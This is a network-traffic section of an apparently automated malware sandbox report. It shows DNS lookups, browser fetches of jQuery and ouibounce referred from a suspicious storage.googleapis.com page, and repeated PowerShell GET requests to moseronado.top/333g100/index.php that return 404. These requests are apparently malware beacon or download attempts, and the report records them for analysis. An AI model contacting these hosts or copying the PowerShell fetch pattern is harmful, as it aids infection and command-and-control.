Oct 18, 2021 22:47:09.130291939 CEST	8.8.8.8	192.168.2.5	0x5639	No error (0)	moseronado.top		172.67.209.58	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

clients2.google.com

accounts.google.com

https:

cdnjs.cloudflare.com

www.google.com

cdn.rawgit.com

bacionera.top

doc-0o-ac-docs.googleusercontent.com

docs.google.com

moseronado.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49740	216.58.215.238	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49741	142.250.203.109	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49835	172.67.209.58	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Oct 18, 2021 22:46:55.284415007 CEST	3458	OUT	GET /333g100/index.php HTTP/1.1 Host: moseronado.top Connection: Keep-Alive
Oct 18, 2021 22:46:56.593811989 CEST	3459	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Oct 2021 20:46:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive vary: Accept-Encoding x-powered-by: PHP/7.2.34 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9J9aRrf5cOqyZIze%2FCH5KhqeyWYk2CgvwQc1FwIgYF%2FIv7nP1EQ3C5TpXbvpI3nEICHNmwnTIqLYnynxOnD7%2BmXeIKUXX5EA2d2jYJ1MJjXb4OMQodFbCMy03NhPNe9pBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a049e6b8b4b4e4f-FRA Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49837	104.21.15.244	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Oct 18, 2021 22:47:09.230885983 CEST	3504	OUT	GET /333g100/index.php HTTP/1.1 Host: moseronado.top Connection: Keep-Alive
Oct 18, 2021 22:47:10.600187063 CEST	3518	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Oct 2021 20:47:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive vary: Accept-Encoding x-powered-by: PHP/7.2.34 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EmnEQvCBYyfnDNs7Zto%2FAE0N1wQt8YN2hkNCtEq7CF0XXzDLkdSs2ZMXnkH6Yz9EldJAW476fwhui6xd9f9RjPD6axM8xuaBLcmMRUgAfK2rldZHSUtHuK7rMS1IOixVPw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a049ec2b9534df4-FRA Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49745	104.16.19.94	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49746	104.16.19.94	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49750	142.250.203.100	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49747	37.19.206.70	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49759	104.21.91.115	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49777	172.217.168.33	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49798	172.217.168.14	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49827	104.21.15.244	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Oct 18, 2021 22:46:39.997915030 CEST	3328	OUT	GET /333g100/index.php HTTP/1.1 Host: moseronado.top Connection: Keep-Alive
Oct 18, 2021 22:46:41.344957113 CEST	3329	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Oct 2021 20:46:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive vary: Accept-Encoding x-powered-by: PHP/7.2.34 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kMLKBxaEZmEaLFq0xcpI6%2BbT0FxeCp%2BTIHUQrAXmwVACDv8W2ZZEVLkHP%2BlcYLxngy2fBkaZMqZNT6Rk2dsLebpecR7m0LH6MFjuVaNgGMlw0nXXkwG5cGO3T7y94r939g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a049e0c0a7f6921-FRA Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49740	216.58.215.238	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:43 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm X-Goog-Update-Updater: chromecrx-85.0.4183.121 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:43 UTC	1	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-yOGjItiZcRi9TlebU/6Yug' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 18 Oct 2021 20:45:43 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5404 X-Daystart: 49543 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-10-18 20:45:43 UTC	2	IN	Data Raw: 35 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 34 30 34 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 34 39 35 34 33 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 51e<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5404" elapsed_seconds="49543"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2021-10-18 20:45:43 UTC	2	IN	Data Raw: 77 79 4d 45 52 45 53 45 5a 47 56 6d 4a 6e 51 51 2f 31 2e 30 2e 30 2e 36 5f 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 Data Ascii: wyMERESEZGVmJnQQ/1.0.0.6_nmmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" v
2021-10-18 20:45:43 UTC	3	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49741	142.250.203.109	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:43 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:43 UTC	1	OUT	Data Raw: 20 Data Ascii:
2021-10-18 20:45:43 UTC	3	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 18 Oct 2021 20:45:43 GMT Strict-Transport-Security: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-I4wI9MUVeiciFzSuCx+8pQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-I4wI9MUVeiciFzSuCx+8pQ' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-10-18 20:45:43 UTC	4	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2021-10-18 20:45:43 UTC	4	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49745	104.16.19.94	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:44 UTC	4	OUT	GET /ajax/libs/ouibounce/0.0.11/ouibounce.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:44 UTC	29	IN	HTTP/1.1 200 OK Date: Mon, 18 Oct 2021 20:45:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03f3f-63a" Last-Modified: Mon, 04 May 2020 16:13:51 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" CF-Cache-Status: HIT Age: 3078656 Expires: Sat, 08 Oct 2022 20:45:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mNB4Q2geIt%2Bv9UWz8wCgeziQgKEBRQNb0YawZMf1X5FyV3KFI9n5lM9sFmYzR0y7cSK%2BdiJGdT4ufvMNMVs13DDl15acZB%2BKXrV0LTk3VtJlUOqOmoAyeK4q4sBcchYxc5161G4P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 6a049cafcf326949-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-10-18 20:45:44 UTC	30	IN	Data Raw: 36 33 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 6e 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 6e 28 72 65 71 75 69 72 65 2c 65 78 70 6f 72 74 73 2c 6d 6f 64 75 6c 65 29 3a 65 2e 6f 75 69 62 6f 75 6e 63 65 3d 6e 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 6e 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 3a 65 7d 66 75 6e Data Ascii: 63a!function(e,n){"function"==typeof define&&define.amd?define(n):"object"==typeof exports?module.exports=n(require,exports,module):e.ouibounce=n()}(this,function(){return function(e,n){function o(e,n){return"undefined"==typeof e?n:e}fun
2021-10-18 20:45:44 UTC	30	IN	Data Raw: 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 6e 3d 32 34 2a 65 2a 36 30 2a 36 30 2a 31 65 33 2c 6f 3d 6e 65 77 20 44 61 74 65 3b 72 65 74 75 72 6e 20 6f 2e 73 65 74 54 69 6d 65 28 6f 2e 67 65 74 54 69 6d 65 28 29 2b 6e 29 2c 22 3b 20 65 78 70 69 72 65 73 3d 22 2b 6f 2e 74 6f 55 54 43 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 4c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 75 29 2c 4c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 72 29 2c 4c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 2e 63 6c 69 65 6e 74 59 3e 76 7c 7c 64 28 54 2c 22 74 72 75 65 Data Ascii: ction t(e){var n=24e60601e3,o=new Date;return o.setTime(o.getTime()+n),"; expires="+o.toUTCString()}function i(){L.addEventListener("mouseleave",u),L.addEventListener("mouseenter",r),L.addEventListener("keydown",c)}function u(e){e.clientY>v\|\|d(T,"true
2021-10-18 20:45:44 UTC	31	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49746	104.16.19.94	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-18 20:45:44 UTC	5	OUT	GET /ajax/libs/jquery/2.1.3/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-18 20:45:44 UTC	5	IN	HTTP/1.1 200 OK Date: Mon, 18 Oct 2021 20:45:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-14983" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" CF-Cache-Status: HIT Age: 1644180 Expires: Sat, 08 Oct 2022 20:45:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0xJpADfridqQCnR9wVTCxwszuoA6PnESheU5P47LMSG8SHjgmahm3E3VfSCZMdOIpmG2wF9b1cughiuONaFUW2coLdxRjH1ZVRt%2B%2B1Yzkun5209ED9jtuvv00%2FQOnW6Hdy23e4Mz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 6a049cafcffc2b59-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-10-18 20:45:44 UTC	6	IN	Data Raw: 39 36 34 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 31 2e 33 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 34 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: 964/! jQuery v2.1.3 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(
2021-10-18 20:45:44 UTC	7	IN	Data Raw: 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 6f 63 75 6d 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 62 28 61 29 7d 3a 62 28 61 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3d 63 2e 73 6c 69 63 65 2c 65 3d 63 2e 63 6f 6e 63 61 74 2c 66 3d 63 2e 70 75 73 68 2c 67 3d 63 2e 69 6e 64 65 78 4f 66 2c 68 3d 7b 7d 2c 69 3d 68 2e 74 6f 53 74 72 69 6e 67 2c 6a 3d 68 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6b 3d 7b 7d 2c 6c 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 6d 3d 22 32 2e 31 2e 33 22 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 Data Ascii: "jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.3",n=function(a,b){return
2021-10-18 20:45:44 UTC	8	IN	Data Raw: 6d 65 6e 74 73 5b 68 5d 29 29 66 6f 72 28 62 20 69 6e 20 61 29 63 3d 67 5b 62 5d 2c 64 3d 61 5b 62 5d 2c 67 21 3d 3d 64 26 26 28 6a 26 26 64 26 26 28 6e 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 64 29 7c 7c 28 65 3d 6e 2e 69 73 41 72 72 61 79 28 64 29 29 29 3f 28 65 3f 28 65 3d 21 31 2c 66 3d 63 26 26 6e 2e 69 73 41 72 72 61 79 28 63 29 3f 63 3a 5b 5d 29 3a 66 3d 63 26 26 6e 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 63 29 3f 63 3a 7b 7d 2c 67 5b 62 5d 3d 6e 2e 65 78 74 65 6e 64 28 6a 2c 66 2c 64 29 29 3a 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 67 5b 62 5d 3d 64 29 29 3b 72 65 74 75 72 6e 20 67 7d 2c 6e 2e 65 78 74 65 6e 64 28 7b 65 78 70 61 6e 64 6f 3a 22 6a 51 75 65 72 79 22 2b 28 6d 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2e 72 65 70 6c 61 63 Data Ascii: ments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)\|\|(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replac
2021-10-18 20:45:44 UTC	9	IN	Data Raw: 37 66 66 39 0d 0a 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 3f 68 5b 69 2e 63 61 6c 6c 28 61 29 5d 7c 7c 22 6f 62 6a 65 63 74 22 3a 74 79 70 65 6f 66 20 61 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 3d 65 76 61 6c 3b 61 3d 6e 2e 74 72 69 6d 28 61 29 2c 61 26 26 28 31 3d 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 22 75 73 65 20 73 74 72 69 63 74 22 29 3f 28 62 3d 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 2c 62 2e 74 65 78 74 3d 61 2c 6c 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 29 3a 63 28 61 29 29 7d 2c 63 61 6d 65 6c 43 61 73 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 Data Ascii: 7ff9tion"==typeof a?h[i.call(a)]\|\|"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){retu
2021-10-18 20:45:44 UTC	10	IN	Data Raw: 3d 64 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 32 29 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 62 7c 7c 74 68 69 73 2c 65 2e 63 6f 6e 63 61 74 28 64 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 2c 66 2e 67 75 69 64 3d 61 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 6e 2e 67 75 69 64 2b 2b 2c 66 29 3a 76 6f 69 64 20 30 7d 2c 6e 6f 77 3a 44 61 74 65 2e 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6b 7d 29 2c 6e 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 68 5b 22 5b 6f Data Ascii: =d.call(arguments,2),f=function(){return a.apply(b\|\|this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid\|\|n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[o
